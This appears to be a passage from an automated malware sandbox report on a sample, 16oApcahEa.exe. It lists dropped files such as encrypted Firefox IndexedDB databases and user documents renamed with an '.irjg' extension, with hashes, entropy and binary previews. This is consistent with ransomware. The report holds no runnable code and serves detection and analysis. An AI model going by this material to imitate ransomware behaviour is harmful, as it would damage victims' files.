SHA-256:	0B3B20E364031F0A3CAA832C4B33C71F44AE0A86BAF3E9367CB030924A38021C
SHA-512:	B0948F4B86D19401D193DC747D157FF3DDDD55D7036946334DDF79763798A3A116274CBC57CFDFC5B0B27933A9EED61A576FFECAFC8595364095471B450A3D53
Malicious:	true
Preview:	SQLitE..:P15..`v..Z...J.}^(...:u.......#<...<..h...9@.........u.R.0...yC.&..3......U~T.".....H.o..h....s...I...b..+.z.(...Z`......?.....B=..2..{...c..`...m..J.1....Q_@~{F..:...5.............n.}d.>M..H_H.!.cB.. .0..6......<U...iq.oqxN.lS...P7..z..h.(......e.Q/.\~......L....L..,.z......))..yH.p.N.....]..-....}."...=e..m]....&..k}.l..Qy.j...v..Aq...;..j_i..b.Qym..\|.}..(y.....}..y.u`u.C]..k...li...#.T.5E.I...{..,..e.H...r.\|...~...jj.x%...g I.L..^.N..=.JY.C. .u..K.TM.....R.\|.a.=...'..w..&.5}.nq`...Sv:',n.#=PGs....'..Nu..M.7V.tU.q..Q.....fm;BUuo.......\t..?0..z...Al.M..%.+.B.^.........T.x.P)..<.&<....c........Jl) .......=.H...\x7-...RA..I6.g.D.r.W~)..U....,.Q...D<.w=Q....O.TH\->...K.... ..U.sbH.5.....4..`..O..:.hC.....KS.z?.yK..R...Xd/...g..5K....MG....;.W.....O.\|.....i...Z.?.K'..kU.._.2..q.#..fl..l.......%...;1wa.:..........:.D.8...!.^......Q.4}.m...`..JE.U9.T....)$I..D..8...($4....s..uA..M...Gi..2^].WJ....3..xg.d..C+....K.v6..L...V`b.@.2

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994785600687283
Encrypted:	true
SSDEEP:	768:PKDY59+3s3Qn78A7Lr7dM4emHLY6Lch+4KYRS3:yG9bgnv7+4eQLY6wh+4KiS3
MD5:	7CAC2D977C053DDDE7FE1D912CF17EF7
SHA1:	1A922CAFBEBAC5B51FC6A11CDACC47BEBFF3DCE3
SHA-256:	F450BCD240FDBE52AB4BC45020DA6636C6B0887B2A4EF160698C7D2D3100BCDF
SHA-512:	0C6C2C75EC2B3D1FBCAEBC98FEA6F3732037822D817323D88FAFEE089B69F37CD9791C11846EC2FB77E8920CD6419E705BD60E54DB43511EBBA5EA2162BEE31C
Malicious:	true
Preview:	..-.....ms9o...l..-........vf..fF...&...rQ.....4...+V.&q.@....HWS...Z.y..-..a+....4..h.....c.l.p.G2.y......t.~...aB..[...7Y..a..+~8...r...2">.(z.....EU.r....d...O..Xz..}q..w..O..2......=....\|d..........l.A.VB...s2R..O..y...........\|E.@...U......Lr..Ck..f..W..n=..K..\]..#.x...B..;........{.I...L.#....Q..,U.w..h.S......qB.,.s...U..%.~].ES.\>.+K.^....{.q..&.=...t..<....~.p.l..P-.MQ$...]..L+.j...tx.3.Ju.nD].@.c5)....s.;.?..("!\..W...A.Ka..VZ...q..uy.b.....L..)g.l.X......j.m.m.\|i4.B.HK...l.u..h_lv.....q..o......S4....R6U...U.}.....#.w...p..dv.T.].....5.d9......5.n..../.....k.........v..%.....oii.f......E.6.C.V~..(...........c.lc.O.~..cU]...7..hk]...E.....Y.O.a;..{"...g>.<.U::..5x.R.}Q.........p2..T...2s.}.....<RC.@..:....@cZ.y...T.U..:.M........A&..:..".j.e.E..R.......S.2Ud......B.Y..wcMB..{.9...$....>X....)y.}..e......NY"....1. .y..V...vJ..E.....n.-9.>..JD.VPw... ...-!..>......g[.I.D.n....(.`...Y.5....qc./...C.z....JJ....X....3...$b'.e.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.99640183419843
Encrypted:	true
SSDEEP:	1536:07YhZ3dRECbvso9tWtk/h6BMXuOxzo640:0OPJbvso90tczLU640
MD5:	5396770A8EF5BC5E5B29276C51A182D9
SHA1:	9AF710DABEFECD4575655E3B140C5747F4C06F63
SHA-256:	259DBCDAFF0076AC3B42BF8A8A8D4FEF0CD3E8D0CCA23E43D2EA897A135EAB70
SHA-512:	EC12A676BFD901ACE46267AA491A501CF47DF91C0E0C62EACF6226779FD35F0E24E4835077597F8382C6E500B06884D1E2AC4FC5BE14D3CAC4A495AEB36C0C0A
Malicious:	true
Preview:	SQLit.........T.;;!...!....{4.T.ox..5.&..@g.....H.3..QuK..:5>..-.a..0W.V../..zj`.\..'a.Lw...x=$K.vp...x....X._;$8`V..f}j..`.S.;.5.l....d.l.wOI.-i.).%..f..$....<...r.i..]..h..W.KN..r+.R..X..h.i...$.......F......jc..d\..^..[.bK.5. $...Bm2..X...u..`.U....p.5.</.K.L..3:....QJ_Y....k5P\_P.H..V..2hQ+]..E..:%]..?..y...f=."..t....W....}7....si..4@...F..q7..z.8.._I...w.R...t.tK.'.....GC.....8..../.].G....C?.CB].B.?SA......%4...D..}..Ox2....u..v.Z.m<.=...L..{...}..(.!...E3.b.. .....N['m.......KI..HQ...@)....QsX.?....+\......jN.FP.._.!c..U....8.....ql..3.LZV.2.z.\|.V..x@.n-.R.e...FM..b.....u..H.&.w.g.p.{...P'6.....AZ...v.'e^....G.Y.d._...&.^..N..W.......v}...~.12.#Rw...R');.....R.6.2.......@v.T.{4.....E.Eb..o....G..hMaWO+.Bl.(@..U.I...w[-<.#.}..l.G\|.G..w.06A.M.2..n..i...q0.W..n..BS...M...{.......{..#.... S[>]d......h..Qg.......??..1....J6.s...G.%...M.P.3.. .4:=.y.'n....'../.nF...+:.6........e.1#.(..#.....sR.....('..l..^!..T.P..d..a5x.IN.K...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.9952722564204155
Encrypted:	true
SSDEEP:	384:JKoe/j07kxkJRFVQmrjiJ9HbNxv1MGwYKIY4U8wJU069Ws+up2rwjXHBNw9:qrG2WcmSvRjdKycU6s4E+9
MD5:	A7F8F6C938D93C2D0C8CEB0B1C0FD044
SHA1:	9B00893EC3A7EA3D6A7B60110754B64921EB4926
SHA-256:	D25A5DA9587389F0904D7F0568167CF7F2D9B485EB888BD9B1EA980B157848FD
SHA-512:	CD4072D1E845CA6181338F2FF505FAE795A4F9067F35A5B4A12D487494C9CB885B958596E73C295D332D4CCE6F1D95F42D755A50979858DEF68CE26DD8B657AC
Malicious:	true
Preview:	..-...W......]S.7.....$eF-.yQ..r.....O...9.s...j.^..;....Yo(......'...Bb...U..`A.o........`........6.@-....i.7<......p.c..b..)F..<T..[F.F.#.\A.T...q.UNs..~.On.g.Z......C.......nmq.#_w...... (....K..0.0...9SH.,.f?#.=..R........./NZbQ.....,".....a.....J.;.OgCK2.;bDO.=.$..L......a..)...50.5........f).g&...}......=T.zP/.l.....fG.9.b...C.="P...o...,.:..#.....'..~N.I.[6.xkY0.....'...W.....@..P..P..8..wT.6...p\|I<5Z.A.<I8..V.K...\g.R K.k...l.......%..K...=.ZZ'Ko..>,#w...'.:2...M..+.aH.{.]...yH'.U...".+m..G.."O9p.0..x..........j...leZ.=..C.7..6..t9...<=h.r..k;x.h1..(..{...l.R...w..d...&...].NU....h.....2..P....Y. .........4k..d..m..7.tp.c.D.....@l..\|..o...6=.j.Q..../U..=.HPyZWc..x^.w....\.:p..T.\|.HNw_.Ll.b.-.j.((.2...@p.../r.b..B....F..."/(...N..v.`.....:..-.!.{}..2.....4..s.5.".{..F=`....H.....0.g..".....pO..;.Q....\..nO..T..)....._...1..)..E....?1.\..H.>.M.aA.-.x...S.`.,.pRFE...>~K=.3..S..Q<.F...4.P.t#......HZ...,wN....C....5/.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996742408712957
Encrypted:	true
SSDEEP:	1536:mymGDPB/nLusBraTPE8WCCP1ZNGDpNHBdNPdb:5/n3QzPE8BBndb
MD5:	5C762C97086451856FA27C30123A7919
SHA1:	C1E90868420EE2507859CCFDC68504A33E08AE0D
SHA-256:	4AFFD744F683A9CFD3281371F811D803BD3DC9A6C629A0806A451163272E58A6
SHA-512:	B69FB293AC8A997EDB9F7BC6FF7847ECC51186619A7CA2263FB1C62F1AB0A48527E8B7A21684BC7C61A9A03C4F69CCFB535D6AA2212885C3181C32828C9BE696
Malicious:	true
Preview:	SQLitj. gpb....Ex{..2.r..ok..\.....J...)..d..UB+..:S..X...Mw...$..0..K.~..g...K.M.\.+..`......sg..1.M..R....[.3..tL..(....j.U1$....~$...Si~..,9.7).W.ya......vW...v..Y.....5.$vI&.9.:.3...}...".v.).X%...W.@./.W+.\|.......@il.y5.t2d.D......9..o.."b.:........d....hIcd..![.........t.....CF..t+S...........4#..D..)...t....sTm2v6.....?K.....^.P..%(?.DFdD0.5h..J... 6..{...... }.;.%.h..Z.W.P.......xbY.1..C..\|.S..G'#...r3Pr......4.....p9...}.W..~MC.5..\|.\|."tf...E.b../Aj!..K.R.2..K.....&f.u.#K.R4\.N..r0.v.g.........).j.w.5....s....O..G..M.}.;!..f....K%.".2.<.W.r..".t.....p.JB.]P._#.. .I.4.;C.bM*bft..w8_u3.6.#.LS....;.DVI.......2..-. ..(.!."8,>..e....^?0~...2....'.b...2..k...g....}c.e..7........cr.Z...P`.....&3.....qN.0....C..g....Q}u...e.7:7.....g!,b6..........k...+.@....J...%.s0........<..6........D.=0.....w..:......z.).\|..R..^.`.1,.........#B....l.f.A8.A.o.}{c.=...._t.p.V..5.)......,.)=b[.Z...>.wi._k....W...O'B..J..........G.:.U....@d...9..Q..r

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.9948022505000385
Encrypted:	true
SSDEEP:	768:EhvnuXIpDsjxB0r0QwWdET7Hszz8bafOEedZHe+v3D:EAYpsjxB0r9wWuTLsz08O5thD
MD5:	EA785C08ABA88BAB16FE4F5DB1891B3C
SHA1:	DD2BCECD2D950C7C8FFEB8A05EA67093BBDE2907
SHA-256:	ED75F118BC1B4FB47CC4851538F817D11DE9E6B3D21BB273909660E468DC4299
SHA-512:	85C1ACCE7469F9C6AF96BA225FEFB8D2C88AD078CFB47595F4634A669E059BF19B899E671DC2933084A6B16BB93CFB911011CEAF0F832CA09094656E38A23762
Malicious:	true
Preview:	..-....{...Z..!..U.sXm..Ne.y&.V..X..J.W...c..!...I.Y...u..l.s.....5.\|...<.#iM.'...g..Z..r...^D.I.v.8k...O(..f.Ona....'>...X>!......e[t..85....\...3q)..8+.n..C]\.e1p..u.V...<.$...tXX..U....~x7.I....9..I.^.OF4.&..Sz[._-.6..C..........c.K.iE.....-....Q..J..\|.x-..T..j.6.E..vw5i...cM..;.<.Pm.2..k..lK.&0C.....]...O.3.}..w..o..pE:...zWs2.g.S.o..i.D"..PUzW.OQ5.x..B.NTB....."<b?W.)....^.o..I..O.....c..#.H.I.......&..F.6w..ew....b..U..T.....9HD.A{.....rx..++..DzT.,..),Uh.@....P... ..o.SX..y........]_.....4..X;..e...!.L...-.&.M.......'.....G..<F>.~g[j....UA.!A......#.._.c..M..7...;...G}...H.e,.....y.9g.\|..j.................D..]]..,.h...Z..\|../.W..E.I.x..)=qO.G..{y.p1d...M....CF....I..S.M$....O`9....C..m.p7....?..Eb...,..ib.$.p..1.$..f%.._.i].7!....I...q.f....(\|k2.!...........@.4:}...r.M...u..*.^..K..b..B.?.......G......AC.T.\|... t..3:J_..Nz`...P...U._H..N.by.I.C..#>......M....Y3..h.@.3]g.c.g.@..D..b.....f..D.r.....<...V~....<,J....6.4.QA

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	573774
Entropy (8bit):	5.733565260462253
Encrypted:	false
SSDEEP:	6144:vTTnAIE3+uyoKZ3fyF+iAVfYwEwM52tFZO+fqaDRrh/o72:vTbmAZqFcVfYwEwMAHZOraDXg2
MD5:	8FC8B9206A84211A4013EE78BA178C53
SHA1:	20CD2F940A223F5C5B3AD7599436BBB2919818FB
SHA-256:	5FDCA7A8BDBB00798D37A0D7CF29EF394A2952BBCF8A8C39B672E0F2D9310C04
SHA-512:	472A0448351CCBA2ABC1E57E62289B4C6B75A4BFD0768AD0CB737753C41D5850DE2001EB5D21E7BAB31DF276B5097EDC3C00F36431B4BE8527C43876E923A794
Malicious:	true
Preview:	SQLit.kE..).P.W(/..!.e.2t.0)"...X.......Ii.u+......^7..`d_A.u...bHa./..z#.......8....nJid.J...P.....q...$Y57.O...G.F.R@..E.qm..9iU)..X.....s....d.....i..B{.4...A....6..Q....w..>..a.4a.........^W...f....K....V..%]{M.]R..T..G@....~.O.}.>M.......z....mw6}..".M...=.1.3l..".a.{.....m^......J.5.K.NZ....fUL....SXU; ....xrxZ./.V....M..T!.......p.1.,..A..2AW4~.....N....+.BV......=./U...$.V...B..].-.~...k....k.6......`...!Q...A.&.\...@.....R.`......N-.P..:<....n.w...@t....0~.gD.\|..B.bi.t...Y...If5W..-..cx..v..P...?..C9...)..._....A{h.Y&.z..#&&.........E..f..&......^...7.../....K......Q...P.....{.3Ca...y.[Q...K)..3[..Cw0,wt.~.6.e..Y.f..i=.!.;.JL".\|..F..I..`=.A...:..,=..'..[0M..E.9~.J@....x...y0...$EO.t.......Bm..o...$.4#Ra..y.....)......".U.......\k..u....kG.2..{..S.....C.Y...[....[....G.h...<...S).P4...].s.%.bM.Fi......qk........#>z.z9.t.!T.\!...p.d+.?..L..,....y..... z....M...H.3...\.=d4i.>e...kX.].{&..a3..\|UJ..VG_.!tp....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.995436506301882
Encrypted:	true
SSDEEP:	768:XBTdfODAQjLETfFayXno9UNv9rMRI/9FtrH/w50Ru7:XffuEdmgFgq1FxfG0Rm
MD5:	145CC5BE35E76A50E2A45A4360D1BC09
SHA1:	E3EEBDAB92A98BF081552D3674933F0C39EA26DA
SHA-256:	1221F24733A3B973F553DB0C0D82D74AD6D13BDAC081D9515FCE8929A03835D6
SHA-512:	41E1BC6D568690CC4AD87FFBFCB6E8ECF6DC5AD580C822D4A81128D43E8BD3FAB17EB27041628DCD1B7072EB187B51FABC025529E829D8C122E10011AAC6D638
Malicious:	true
Preview:	..-...Z.$i.X>...J!.....<#...]...z.............63K.f..3}(O.sn..$&..9.\|...`.fu..(....r.1u.UD..8oY...R=..kUb.UL.<....6\..[... ..T....f....h...hi[.-.v(M......Hm.G..ln.C.G_.Z....-T=..`....!./.\...X.u5.9..}}.,.;p..H\|.WR..d{..h......X.2}.MlI.....]wB..s..K;.q5.....5.u.>....wd.}.;.......z. ;..%...f.9...5.Y.n)..w.. d.Z..._.P.....}N.:.E.h...x'.....:4U...F...}x.+~&9E!\....H.tP)G.i.I.........".....7.L.....".O#...2.Ez.O.o@\|..........M....;....w....T`.._..^K(.4..D..++...09.3.....m.<..~.X....,U.91...{.Y.....~..g...J...;=k8pM..k..Z...1....r6.D...C9..Z....y.W......S.P.Y.c.]...fud+xk4.q.O..F.......Dp...V.....w.1.)......,m35.....(cC.,..{.iG.."..0.!.PiP.S..5B"W._....~.."#.dN]I.#.z+..>.g..:.&..M....T..B.U.......1..k....z6m ..m..$...(.'.l.s....f..V,....e....)......T....Z...]s.?#.{q..L....q...P.a...w...\<..R_..Z%.%.....i.{....F..y?.';..xi.N..u.f.%]x...i.z.....j.......=Y........<..wm$...?.."dq.g'.2j.,-}.YA.i@C.S.....5.G...L.M(;.....lx.P.g....O...BT.

C:\Users\user\Application Data\Microsoft\Windows\Recent\JUSNIGKAJT.png.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862588430592127
Encrypted:	false
SSDEEP:	24:O2kGZ+u0K3PVWYbOSGJONx5YwU4+h5Zdvk680sOiDa9aifT+H8M9pbD:NkGZ+u0K/Iuf5YwwHZp80sOiDa9dCHth
MD5:	06AEF515BE41CD65646E977A8AE6287D
SHA1:	5BD05700AB9028D9D18304438F7008A692415D7B
SHA-256:	B2A2CEE62CFC38ABA46FB9B360FFC698B85014DB840C5C1825C290F104846B91
SHA-512:	7937E0F812C8B89AB10E03075FEF3CBEB6B3A7DD5A917CCEAF962BF9747E9FB2CEAC4DBF60F3207613F3C5E099F28D2073F3FAB897CD401C66323F79455228C5
Malicious:	false
Preview:	JUSNI.Th.8i..>.T+9.@..g.R..\.".:.)(T..I..S.AwP.6S....SI~.:f.....#m.y.d....b. si..mo.V~..:O..(rv...u.%U.!.......M..g.K.~.-$.0h......Z._.#l.....T....."...(R...z..u.1So.....;.O../...D..,....!..9.-...S...sr.x.=...dH.7.o,...`.[.RN.Il{...".$i......M.2..?7.$)f....J..\|...Wb.B4.yZv&w.......lH...8.(a6.H..c$.n....I;#...N.vkR..YP.P&H]............ f.........)._(..Y.........;-.:..9z.j...0..5..X.t#.>..!.u..rM....Ik.G...n..j.8...q..L...*k....P......=..}M\|]...._U=......c.w..2W.sK...@Ci....@..A...:..Z.....`....,i.<7aW.j~..._.,-....."........FkT.....H@=..J..s`)`.. .8....N..p.{Vy..e.....A]<...7E...{.6:.{;g...l.!...".r'}.#..)E.f..t..]....pG.gAx;u!...#.T tk.mc.hJ...+..Q..=.gi.0.z.....u..f....4..DN.b...'! ....v..nF.J..;..LA.0.G.........U..5={..#.Bj...}.$b.?.R;.}....9.=A.^.c..h..\..X...<..G..&....OP........a..t.I....<..d.fa.n.....e0,..7......a9.4..........Wu^m.../..0}....."..Z_..EG.h.x...05.4.r./K..k.].{..........X7..7n..R..w...w.Y..\f2.... q.`D..{.....,.$

C:\Users\user\Application Data\Microsoft\Windows\Recent\KLIZUSIQEN.jpg.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843313142299472
Encrypted:	false
SSDEEP:	24:bHmGS0XYCopbgqDS+QuovXKVgoEcG2kXF5avHICeMtza2tKD0cePuZ7fMjn5s7VX:reRQu2XKVgR2MlCekz2g3PS7fM9QJD
MD5:	4FD8C4556547E374B323C889851DF068
SHA1:	C43F68654CA6A7CC33621DD8CDFBBA374FEA02AC
SHA-256:	40C38E70F27EF3F86C023B06DE201A7689ECF49733CD95371DE127D87DCADDAE
SHA-512:	A8A54CB0833BCC83E798BFBAB346099AE18C4F774E92546FD39CBC0FAE8C26F18F4D1C33DAD0CA8EE67C6FFE7F364FD4837CB42C738BB021A8A7972C7E2B3A00
Malicious:	false
Preview:	KLIZU....W.G.....:..g.2.d.Hj....R.......G_..\|...R}.......`..E3B.\Q..o.{..4.4./?ry&.HV.P-f0J.G......YZ...&.$.96R.>ee!...oj...~:?u.9b....Zz...>...J......I.&...v.o.sf...W....L.D))..P%.FY...-r.%.$.`Ic..qg.l...#...#_-.......5...>..8.i.qEY.aG70(..&.H.:.....\|..&...]s}.....Nb1.2.4....[..=!..t..A....>\|..aKL.v1m..Ym.O..R6Sz.c...C.'......RL.!...~6.E\|/`.m.(.U~F.c.\|.F... ..uq..A.a..4D....C.7..u.".Y'P..S.^.]..#n..[......thL.R.\'.#k..B.T0r...jJA..-...T............\|V..w......zcU....z....&qJg...]h..N'@GX.....e'i4q.&,......@..~......P.H.B.........!.h.3.:C.be..(}......c..... ...7..Q..r#8...;...c]...t...-..^.%E..V........= 4.N%......+= ......Yp~...i...@....'..zQ....^.%..&..H.A..A.8....A...i...'.m$p... <.t....x....7...H..~P.i\|_ZQ(FE.a.$.\H]...vN._..d.=.u....T..!;H....\|...)....i.4.&.V3...I.....Nu..0.k.p#.>...b.g\..........b.....8.#..s.K}.>.Hld"..E...^Bh.I.q,.jn..2,.y..p./[.h.....b.h...h..Gc..=Y;:.m...A..Y.g.!..._{..1Cp.o'}x7=i...I.....3..M(h.t).X.\|8.g.u...R.u

C:\Users\user\Application Data\Microsoft\Windows\Recent\KLIZUSIQEN.mp3.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859621368704192
Encrypted:	false
SSDEEP:	24:bvBiWNLglRs2HlhRsTTJg3Cgan71PC1mx6RyhnRJId5EINRmTslBaxvsFsvg/59h:zcWwqgSPB6e6oYdC2cTGaxvT47JD
MD5:	8C1245B49B1BDA8793E50610475D2853
SHA1:	B9D3B5BD7430E557D85752BE72B021B6D0796DD8
SHA-256:	B637D240ADD70DB806E490F57124FB973FEF4392F73AEDBC0096EEC933E5D0C7
SHA-512:	C13212806FFE469B427C30530D064EDB931033A765C672419B23B0A8B280C8C78BA354EC565C75A4A464B715B4E31E46EA85365A52C552D23DF294B3B73A418B
Malicious:	false
Preview:	KLIZU..R...D...u...q....{.N..0KvS\|S\..ajC^...1.R>...I9{g$.P......5.S..)...$b..W}\|..p........w....V<......VdX..<....F.Y...D....~... .J....A.H l....$..3..).5P76..F,U.........T`....77....#)...b.........W..Z..+..H.)... gQ....t..."..5...8W....].\|PB-...cX.>..b.w..n.D.=..@ a...y.q.....FMi..+..C..H.w...NW.i.57.-...b{\.t..N...a.6&....YA.\O.%".0l.'q.^U.AZ.E.T....F.!}.).3..R.(.....y.M....]>.j.........U..m.....".:.=..Ts.K...w.."\|.+j5....{..x...?.....]. HL...J..........'T!..{V]2..l.M.-e=.......E.n.U9p./6_....d`...&q.3.bW..}.vK.s.....n......./..a2I<...EZ.=v.._..Y.....a.L....._...O.....:@lg../...s.{..b..bn...m..>.......c...Cuq...F...5o.N.....3N,.....#X ./.z.}..r..,.SLa....k..3.O.J4..iJ`...r..a.L...F}...#`...W'..$1.j.....:Xgo....f.....4....'.Y^.......&It..q...)D...}....R..@.A....4.`.a...\|..P<...c.Kp5..PK.i...b.{TF..>^....,]....M.y.Z_.w..p.u4X..f.$7.b.O..V.W.4....^...E.~..\7....4...Xfn..Q.w(8....5 TX...4+(.g....a...S...{.g._..v......c..S.gm.Tnv...J.`y. ..<u.N..c

C:\Users\user\Application Data\Microsoft\Windows\Recent\LCMFMMJDAC.pdf.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847106526351327
Encrypted:	false
SSDEEP:	24:NNNGYeX8Bndhm+lnTpWlDaXHksSeNHZDV7OXP2gAsC7e8b+VlfC8M9pbD:hGCdhmUsxerV7OXPwdeU+VlfOJD
MD5:	C11092FDF5485E7A34ABE1AC79C4A376
SHA1:	D891EE44121CAB9B6153FBE65380610088FBA51C
SHA-256:	DF00CAA7B6DA55B6D8C2EACD8CE07D27E8B17C346D5D94402E92EF320E6B903F
SHA-512:	5533DD7B1BCDBF38098AE33CE817242C4B6BCC7CE055BC26EBB3E802EDF937BBA274AFA591480CD8035D50DE1BDB3C7ED8BEE9E3A8AB6D28E693DBBFE8DD14CC
Malicious:	false
Preview:	LCMFM.f(..J.T..Bh_...b..#.N..:~.:.c...~m.h.c....~R.%.@..DZ..zl.".!~.C.H.)}....Q.FM.q.s....,.{...T..px.....t....I...y.......[.c......]....y.H~l..&x.m....z&..V......n....I.m.....F.Ve..xE........R......!..x.9....]M.....3.......a<u..i E...b`~...?..Kk\.&}.G-.N]F.o.O.M.J.!LH.5..+.....toh..e..$".QF..Y...4!.I(F..-..z.Ae`.....#\|....m...f.HB-.LR...e....qX..7....O...I.'...2gL..W.....>.2B:J...K.k.>.Ib..-h.e..r.H..z....L,DR$z<.......Z...u...}h5..8......e.....)m..6..O..bH74.7...........G..&...zH....,_/.Z@.T9....}..'B....^... ...../..#....M..j.yvs~rx;$5h.........TP.sM#....\^...I^...#M.fk=..q7.gyz.s7.j.P....:.!...F.,G..681.2....0./..W.......q.o....w.n..!......g...3:.^.r....y.Q......CY..../...mfYM...~.....}hD..q:...+.'Jai[.+.?.6._.A_v.O9`.C.Z.)...%..?......A...].Z.)%..1..$..C..HZ....$.X.'-T..^.".t....+..d..j.g..J.kJYY..b....6.....8.B..p.......u.\|...!....R.+.{.X~.>...s/..A...;..2I$..{$.......fI>.R..Q.7.G..{..4ZV.R..5>j.{E...(.........

C:\Users\user\Application Data\Microsoft\Windows\Recent\MDCSJYRUNJ.mp3.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859977302020595
Encrypted:	false
SSDEEP:	24:y/AxszL/FVqYHs/RipgJqOyLEn8zvdIZ4CCYtwHmX9eYfpbujVaug9pbD:UasLNAK8iGkdLbzvcDL6QZJD
MD5:	06D444E4CF62A56CF5C0384AA62329F5
SHA1:	AE2250F86C45612C30DE28CF560CF2404D14AA7D
SHA-256:	08F1E3D05F77BF9818586DBBE38F23761C627E583BA1CDC269DD414CC840F598
SHA-512:	B276C4BE5F6C19B76EA372D54111B60B383E5843C514A3117D6912DE1EA0215B051ADC8DFC81983407DBBED1840A61909CA24CDCAE81BFD5AC6782F738D99FCE
Malicious:	false
Preview:	MDCSJ.h...jY..n...".T....B..DK2N,.........ku...[......6f.t<....C.6{.U..T...Kj..>.%H.\|C.v........xl.KZ.k+do.q.ut...=.....?................"`...rF.G..+{.C._{......^f.....yH.&..9.....:L...9N..,.}..z..y....k.^....6...0{nb....d$..W.j..?.....$>...&.P.6.aA..l..x.bl.........G?...z....y....#.Q..(v4......j".}..f...24....=.-......K... ..."..ta. ..\X.9..3.[...<...h.G......R!..+v......GD".....^.}-&.....h.'..e...<..x.#x..l..T.TNA...x...._.k.eG...).p....4.1.?b...{u.@E....dB..a..P..q.-.o.p.E3....~9..4.m....VPvQJ-K$\V.%.H.{.F\|.vhd...I..M..j..;.z...;F.H..A..fL.0...iE.....#'.....~.....V.t.QN...p!++...C...(.W...S.b.t..o.>F.m..o......Y.A_U...O..}\.....,.<....@..V.4...B..l.h..p9.f..W/domC..X...=.@7.q.....WR@...YJp?I}2vM....~y......[.39~...\.4.:.A.B."(...dP........EN....u..o....e.`.>.d..fp......Qj J.'.$.O..6......].+..P.D.W.._.a..B.C.....JR...z..oN.FG0.o.-.5..3.....sM0w.^..-.G.v........)....&\........."=..Z.qh....~.9r...#*Y9....O%...$..g..$...{..m...\..g._..._..N.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NVWZAPQSQL.docx.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831584263310307
Encrypted:	false
SSDEEP:	24:FGDxJXQ/Vg5OJZoqP63DxGBfvEjEjDtf3NGti/VmcU/LqxIGcmE7kcVvsa5wCrmK:FG9VQ/qYDP63Vuf849vNIulVgsa+smYh
MD5:	0112AB9AD3DD7F6AED42BD093078E0DA
SHA1:	AD59B1D98A0C59E1D4B4E8B30F4F5C71000ECC6A
SHA-256:	FF94CC86CC0218DFCED9544FA27ADD9593551A228139E3C112E92CCCD8CCE2BD
SHA-512:	1D306E1133D93E9E61DAD5B9B0F1AB2D8D4157158CD2A769E93E7E158B7DD86E63A9B3F66E68FD1660E7A211F5B092D935B79593DFDC0D3D4775468A429A7E2B
Malicious:	false
Preview:	NVWZA..?......E....$.Vy_99{.M.w.._.j..a.>~..8s.......g....h........G.<!.m..=..d....j....r.-.......!......@....7E......P=...ds8.r.....8R8..Nj...IK...........&...H.I.q].....h..vB3g s.v.....d..8mg}.#..`X3.\=.j..=..iA.....:"L?Q`.\....7\|..n.+ce...w..Tez....$....%.n..n}....-..D....T..V........r..`R........jVQ.,...).......P.^!.;^l.....2=....%oJ.....B..].....0..N."........J.&E ..>H....v70..M<,..k...`$.H...@..w..g).a.8..n...N}.......\4Xs.S.....}&..@.V.@M... g..\s.\Qm....O..T....u0. ..o....O..-P...^.IU..=..\|..<.v.I....l..s.W...<.U..."......(..&.?..Ra......Z.`...D=M........Q......~.=.P...>.~..>..oy..;v.B.....O...s>...r..~.....R...I...M....^.......(16(.K....0_6M:...j.1..d....V..."'....T&..l...6aW..{.4..g.^.T%..e7.........7...A:d..T.k..juD......-..I...G...7pn...5=.."\*O>...D..u...F#Y1..(P.:.y.H..J7...Q.TwQR..rk)..L_L.%Sb8;.W.P.n..lZsj.6-a.E....\..4...8...,.?.. ..:;.V..l](L..B..>..tG...A.,D.......i.\|%....U..\...aA..!x....\x.{.......M[.w.W..=-.......

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWCXBPIUYI.docx.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
